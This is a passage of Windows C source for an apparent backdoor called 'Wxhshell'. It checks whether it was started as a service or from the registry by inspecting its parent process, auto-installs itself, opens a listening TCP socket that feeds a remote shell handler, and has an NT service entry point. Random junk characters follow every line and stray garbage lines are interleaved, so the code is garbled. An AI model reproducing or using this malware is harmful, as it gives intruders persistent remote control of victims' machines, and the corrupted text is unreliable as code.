DWORD AffinityMask; nhu;e}[>
DWORD BasePriority; 2lc
ULONG UniqueProcessId; w1&\heSQ
ULONG InheritedFromUniqueProcessId; ZR,"w
} PROCESS_BASIC_INFORMATION; q9h3/uTv
(qbL=R"
PROCNTQSIP NtQueryInformationProcess; !<8-juY
T@ 4R|P&{)
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _&wrA3@/L
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z"pCDW)
5{"v/nXV
HANDLE hProcess; XYh)59oM%
PROCESS_BASIC_INFORMATION pbi; x* 9 Xu"?
J\@W+/#dF
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !2o1c
if(NULL == hInst ) return 0; [qL{w&R
~Oc:b>~
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b4R;#rm
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3OlXi9>3
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pK|~G."6e
2A95vC'u>|
if (!NtQueryInformationProcess) return 0; -P.51q
%A$5mi^
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fFNscY<4w
if(!hProcess) return 0; '-l.2IUyT
q^ w@l
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; CQANex4&\
$SOFq+-T
CloseHandle(hProcess); L7`=ec<
=]
+owl2
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sOyL
if(hProcess==NULL) return 0; ^cnTZzT#Q
s 0To^I
HMODULE hMod; _t/~C*=:=
char procName[255]; m4r<=o
unsigned long cbNeeded; -\9K'8 C
j6: jN-z
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =`KA@~XH4
A/c #2
CloseHandle(hProcess); )Ggv_mc h
Pxvf"SXX
if(strstr(procName,"services")) return 1; // 以服务启动 ZamOYkRX
N;q)[Dr
return 0; // 注册表启动 B{lj.S`mB
} Iysp)
c<a)Yqf"]
// 主模块 *yZ `aKfH
int StartWxhshell(LPSTR lpCmdLine) {zTnE?(o`
{ z}a9%Fb
SOCKET wsl; fjd)/Gg
BOOL val=TRUE; =G9I7Y@
int port=0; rk-GQ#SKU
struct sockaddr_in door; fpa~~E-
:OFs"bC
if(wscfg.ws_autoins) Install(); PWBcK_4i%
KDS}"/
port=atoi(lpCmdLine); |pG%]?A
.nzN5FB
U
if(port<=0) port=wscfg.ws_port; G`Df'Yy
,(A
$WT@e
WSADATA data; YvG=P<_xw
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2oo/KndU
`tPVNO,l
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 6Qk[TL)t
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l86gs6>
door.sin_family = AF_INET; DS1{~_>nFu
door.sin_addr.s_addr = inet_addr("127.0.0.1"); lv>^P>S(O
door.sin_port = htons(port); bn%4s[CVb4
+P=IkbxAO
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .|e8v _2J
closesocket(wsl); kW7$Gw]-
return 1; 4:9N]1JCb
} mIZ6[ ?
:2.<JUDM
if(listen(wsl,2) == INVALID_SOCKET) { 0T7t.
closesocket(wsl); Rc vp@
return 1; ij,Rq`}l
} #,9s\T
Wxhshell(wsl); \c}pzBFd
WSACleanup(); aH?+^f"D
>r3SF3XMq
return 0; |->CI
tE#;$Ss
} FuM:~jv
KL yI*`
// 以NT服务方式启动 Fs3
:NH
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w>o/)TTJL
{ E)`:sSd9
DWORD status = 0; }P'c8$
DWORD specificError = 0xfffffff;
v!W{j&